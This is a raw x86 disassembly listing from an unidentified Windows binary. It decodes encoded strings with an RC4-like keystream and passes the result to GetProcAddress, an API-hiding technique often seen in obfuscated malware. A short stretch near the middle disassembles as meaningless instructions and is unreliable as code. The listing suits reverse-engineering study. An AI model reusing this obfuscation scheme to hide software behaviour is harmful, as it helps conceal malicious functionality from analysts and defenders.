mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x2c]
mov bl, byte [edx]
add cl, bl
mov bl, byte [ebp - 4]
mov byte [ebp - 0x30], cl
mov edx, dword [ebp - 0x30]
and edx, 0xff
inc bl
mov byte [ebp - 4], bl
lea esi, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], esi
mov dl, byte [esi]
mov byte [edi], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov esi, dword [ebp - 4]
and esi, 0xff
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + esi - 0x3b8]
lea esi, [ebp + esi - 0x3b8]
mov byte [edx], bl
mov dl, byte [ebp - 0xc]
mov bl, byte [ebp - 0x20]
mov byte [esi], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x20], bl
mov edx, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
mov bl, byte [ebx]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x14]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x1c], bl
xor dl, bl
mov byte [ebp - 8], dl
mov byte [ebp - 0x94], dl
mov edx, dword [ebp - 0x38]
lea edi, [edx + 2]
jmp 0x40ec54
mov edi, dword [ebp - 0x40]
mov dl, byte [edi + 2]
mov bl, byte [edi + 3]
add edi, 2
add dl, 0xd
shl dl, 4
add bl, 0x79
mov dword [ebp - 0x40], edi
or dl, bl
mov bl, byte [ebp - 4]
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
inc eax
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov dl, byte [esi]
add cl, dl
inc bl
mov byte [ebp - 0x30], cl
mov edx, dword [ebp - 0x30]
and edx, 0xff
mov byte [ebp - 4], bl
lea esi, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], esi
mov dl, byte [esi]
mov byte [edi], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov esi, dword [ebp - 4]
and esi, 0xff
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + esi - 0x3b8]
lea esi, [ebp + esi - 0x3b8]
mov byte [edx], bl
mov dl, byte [ebp - 0xc]
mov bl, byte [ebp - 0x20]
mov byte [esi], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x20], bl
mov edx, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
mov bl, byte [ebx]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x14]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x1c], bl
xor dl, bl
test eax, eax
mov byte [ebp - 8], dl
jbe 0x40ed64
mov byte [ebp + eax - 0x95], dl
mov edx, dword [ebp - 0x48]
dec edx
mov dword [ebp - 0x48], edx
jne 0x40ec51
mov edx, dword [ebp - 0x38]
inc eax
mov bl, byte [edx + eax*2]
lea esi, [edx + eax*2]
add bl, 0xd
mov dl, byte [esi + 1]
add dl, 0x79
shl bl, 4
or dl, bl
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [ebp - 4]
mov byte [ebp - 0x30], cl
mov edx, dword [ebp - 0x30]
and edx, 0xff
inc bl
mov byte [ebp - 4], bl
lea esi, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], esi
mov dl, byte [esi]
mov byte [edi], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov esi, dword [ebp - 4]
and esi, 0xff
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + esi - 0x3b8]
lea esi, [ebp + esi - 0x3b8]
mov byte [edx], bl
mov dl, byte [ebp - 0xc]
mov bl, byte [ebp - 0x20]
mov byte [esi], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x20], bl
mov edx, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
mov bl, byte [ebx]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x14]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x1c], bl
xor dl, bl
test eax, eax
mov byte [ebp - 8], dl
jbe 0x40ee8f
mov byte [ebp + eax - 0x95], dl
lea ebx, [eax + 1]
cmp ebx, 9
jge 0x40efcd
mov edx, dword [ebp - 0x38]
lea edi, [edx + eax*2]
mov edx, 9
sub edx, ebx
mov dword [ebp - 0x48], edx
jmp 0x40eeb0
mov edi, dword [ebp - 0x40]
mov dl, byte [edi + 2]
mov bl, byte [edi + 3]
add edi, 2
add dl, 0xd
shl dl, 4
add bl, 0x79
mov dword [ebp - 0x40], edi
or dl, bl
mov bl, byte [ebp - 4]
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
inc eax
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov dl, byte [esi]
add cl, dl
inc bl
mov byte [ebp - 0x30], cl
mov edx, dword [ebp - 0x30]
and edx, 0xff
mov byte [ebp - 4], bl
lea esi, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], esi
mov dl, byte [esi]
mov byte [edi], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov esi, dword [ebp - 4]
and esi, 0xff
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + esi - 0x3b8]
lea esi, [ebp + esi - 0x3b8]
mov byte [edx], bl
mov dl, byte [ebp - 0xc]
mov bl, byte [ebp - 0x20]
mov byte [esi], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x20], bl
mov edx, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
mov bl, byte [ebx]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x14]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x1c], bl
xor dl, bl
test eax, eax
mov byte [ebp - 8], dl
jbe 0x40efc0
mov byte [ebp + eax - 0x95], dl
mov edx, dword [ebp - 0x48]
dec edx
mov dword [ebp - 0x48], edx
jne 0x40eead
mov esi, dword [ebp - 0x38]
inc eax
mov bl, byte [esi + eax*2]
mov dl, byte [esi + eax*2 + 1]
add bl, 0xd
add dl, 0x79
shl bl, 4
or dl, bl
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov dl, byte [ebp - 4]
add cl, bl
inc dl
mov byte [ebp - 0x30], cl
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x30]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 8]
and ebx, 0xff
mov dword [ebp - 0x14], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x2c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [ebp - 0x20]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x20], bl
mov edx, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
mov bl, byte [ebx]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x14]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x1c], bl
xor dl, bl
test eax, eax
mov byte [ebp - 8], dl
jbe 0x40f0ed
mov byte [ebp + eax - 0x95], dl
mov bl, byte [esi + eax*2 + 3]
inc eax
xor edx, edx
add bl, 0x79
mov dl, byte [esi + eax*2]
sub edx, 3
shl edx, 4
or bl, dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov byte [ebp - 0x24], bl
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x2c]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add cl, bl
inc dl
mov byte [ebp - 0x30], cl
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x30]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 8]
and ebx, 0xff
mov dword [ebp - 0x14], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x2c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [ebp - 0x20]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x20], bl
mov edx, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
mov bl, byte [ebx]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x14]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x1c], bl
xor dl, bl
test eax, eax
mov byte [ebp - 8], dl
jbe 0x40f201
mov byte [ebp + eax - 0x95], dl
inc eax
xor edx, edx
xor ebx, ebx
mov dl, byte [esi + eax*2]
mov bl, byte [esi + eax*2 + 1]
sub edx, 3
sub ebx, 0x87
shl edx, 4
or dl, bl
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x2c]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add cl, bl
inc dl
mov byte [ebp - 0x30], cl
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x30]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 8]
and ebx, 0xff
mov dword [ebp - 0x14], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x2c], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [ebp - 0x20]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x20], bl
mov edx, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
mov bl, byte [ebx]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x14]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x24]
xor dl, bl
test eax, eax
mov byte [ebp - 8], dl
jbe 0x40f317
mov byte [ebp + eax - 0x95], dl
inc eax
xor edx, edx
xor ebx, ebx
mov edi, dword [ebp - 0x2c]
mov dl, byte [esi + eax*2]
mov esi, dword [ebp - 0x38]
mov bl, byte [esi + eax*2 + 1]
mov esi, dword [ebp - 0x24]
and esi, 0xff
mov dword [ebp - 0x48], ebx
mov bl, byte [ebp + esi - 0x3b8]
lea esi, [ebp + esi - 0x3b8]
mov byte [ebp - 0xc], bl
mov bl, byte [edi]
add cl, bl
mov bl, byte [ebp - 4]
mov byte [ebp - 0x30], cl
mov ecx, dword [ebp - 0x30]
and ecx, 0xff
inc bl
mov byte [ebp - 4], bl
lea edi, [ebp + ecx - 0x3b8]
mov cl, byte [ebp + ecx - 0x3b8]
mov byte [esi], cl
mov ecx, dword [ebp - 8]
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x3b8]
lea ecx, [ebp + ecx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 4]
and ebx, 0xff
mov dword [ebp - 0x10], ecx
test eax, eax
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x2c], ebx
mov bl, byte [ebx]
mov byte [ecx], bl
mov ebx, dword [ebp - 0x2c]
mov cl, byte [ebp - 0xc]
mov byte [ebx], cl
jbe 0x40f41c
mov ebx, dword [ebp - 0xc]
mov cl, byte [ebp - 0x48]
sub dl, 3
and ebx, 0xff
shl dl, 4
add cl, 0x79
mov dword [ebp - 0x18], ebx
or dl, cl
mov cl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x20]
add cl, bl
mov ebx, dword [ebp - 0x10]
and ecx, 0xff
mov bl, byte [ebx]
mov cl, byte [ebp + ecx - 0x3b8]
add ecx, ebx
mov bl, byte [esi]
add ecx, ebx
xor ebx, ebx
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x3b8]
mov cl, byte [ebp + ebx - 0x3b8]
xor dl, cl
mov cl, byte [edi]
add ecx, dword [ebp - 0x18]
and ecx, 0xff
xor dl, byte [ebp + ecx - 0x3b8]
mov byte [ebp + eax - 0x95], dl
mov byte [ebp - 0x89], 0
mov eax, dword [ebp - 0x1d8]
lea edx, [ebp - 0x94]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
fld qword [0x89a578]
fld qword [0x89a578]
mov dword [0x8de8cc], eax
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8a8ce0]
fsub st(1)
fxch st(1)
fmul qword [0x8a8cd8]
fadd qword [0x8a8cd0]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8a8cc8]
fnstsw ax
test ah, 0x41
jne 0x40f481
fld st(0)
fmul qword [0x8a8cc0]
fsubp st(2)
fadd qword [0x89a548]
fcom qword [0x8a8cb8]
fnstsw ax
test ah, 1
jne 0x40f448
fxch st(1)
fst qword [ebp - 0x4c]
fxch st(1)
fstp st(0)
fcomp qword [0x89a578]
fnstsw ax
test ah, 1
je 0x40f4ef
push ebx
dec edx
jp 0x40f512
pop eax
jle 0x40f50c
jno 0x40f4f7
popal
popal
push 0x2f
jl 0x40f4f1
jo 0x40f527
xor esp, dword [esi + edi]
push 0x5c
xor al, 0x68
push esi
and dl, al
pop ds
fcomp qword [ecx]
aam 0x19
fstp dword [edx]
iretd
push ds
ficomp dword [0x20d622de]
iretd
mov dword [ebp - 0x38], 0x40f4c4
mov dword [ebp - 8], 0x40f4aa
xor eax, eax
enter 0xfffffffffffff4c4, 0x40
add bh, al
inc ebp
clc
stosb byte es:[edi], al
hlt
mov byte [ebp + eax - 0x3b8], al
inc eax
cmp eax, 0x100
jb 0x40f4ff
fld qword [ebp - 0x4c]
mov byte [ebp - 0x40], 0
mov esi, dword [ebp - 0x40]
inc ebp
rol byte [eax], 0x8b
jne 0x40f4d8
xor edi, edi
mov dword [ebp - 0x30], 0xff
mov eax, dword [ebp - 0x30]
mov ebx, 1
add byte [eax], al
cmp eax, ebx
mov dword [ebp - 0x48], 0
jbe 0x40f53c
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x40f534
cmp edi, 3
ja case.default.0x40f541
jmp dword [edi*4 + 0x42ce2c]
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
jmp 0x40f5bd
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 8
jmp 0x40f5bd
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 0x10
jmp 0x40f5bd
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 0x18
jmp 0x40f5bd
mov ecx, dword [ebp - 8]
and esi, 0xff
mov cl, byte [ecx + edi - 4]
mov al, byte [ebp + esi - 0x3b8]
add cl, al
inc edi
cmp edi, 0x1e
mov byte [ebp - 0x40], cl
jb 0x40f5d0
xor edi, edi
add cl, 0x1e
mov byte [ebp - 0x40], cl
mov esi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x48], eax
jbe 0x40f5f0
mov eax, edx
xor edx, edx
div dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp eax, edx
jb 0x40f53c
je 0x40f628
mov bl, byte [ebp + eax - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
lea ecx, [ebp + eax - 0x3b8]
mov al, byte [edx]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
jne 0x40f521
mov dl, byte [ebp - 0x3b1]
mov edi, dword [ebp - 0x38]
and esi, 0xff
mov byte [ebp - 0x18], dl
mov dl, byte [edi]
mov bl, byte [ebp - 0x3b5]
mov al, byte [ebp + esi - 0x3b8]
add dl, 0xa
mov byte [ebp - 0x10], al
mov al, byte [edi + 1]
add al, 0x31
mov cl, byte [ebp - 0x3b3]
shl dl, 4
or al, dl
mov byte [ebp - 0x1c], al
mov eax, dword [ebp - 0x10]
and eax, 0xff
fstp st(0)
mov dl, byte [ebp + eax - 0x3b8]
lea esi, [ebp + eax - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x3b7]
mov eax, edx
and eax, 0xff
mov al, byte [ebp + eax - 0x3b8]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
mov esi, dword [ebp - 0x30]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov dl, byte [edx]
mov bl, byte [ebp + ebx - 0x3b8]
add edx, esi
and edx, 0xff
xor bl, byte [ebp + edx - 0x3b8]
mov dl, byte [ebp - 0x1c]
mov byte [ebp - 0x10], dl
xor bl, dl
xor edx, edx
mov dl, byte [edi + 2]
mov byte [ebp - 0x18], bl
mov bl, byte [edi + 3]
sub edx, 0x16
shl edx, 4
add bl, 0x31
or bl, dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov byte [ebp - 0x1c], bl
lea esi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + esi - 0x3b8]
and ebx, 0xff
mov esi, 2
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x1c]
mov byte [ebp - 0x10], bl
xor dl, bl
xor ebx, ebx
mov byte [ebp - 0x18], dl
mov byte [ebp - 0x2b8], dl
mov bl, byte [edi + 4]
lea edx, [edi + 4]
mov edi, ebx
xor ebx, ebx
mov bl, byte [edx + 1]
sub edi, 0x16
mov edx, ebx
sub edx, 0xcf
shl edi, 4
mov ebx, edi
mov dword [ebp - 0x48], 6
or bl, dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov byte [ebp - 0x1c], bl
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x1c]
mov byte [ebp - 0x10], bl
xor dl, bl
mov byte [ebp - 0x18], dl
mov byte [ebp - 0x2b7], dl
mov edx, dword [ebp - 0x38]
lea edi, [edx + 4]
jmp 0x40f9a1
mov edi, dword [ebp - 0x40]
mov bl, byte [edi + 2]
mov dl, byte [edi + 3]
add edi, 2
add bl, 0xa
add dl, 0x31
mov dword [ebp - 0x40], edi
shl bl, 4
or dl, bl
inc esi
mov byte [ebp - 0x1c], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
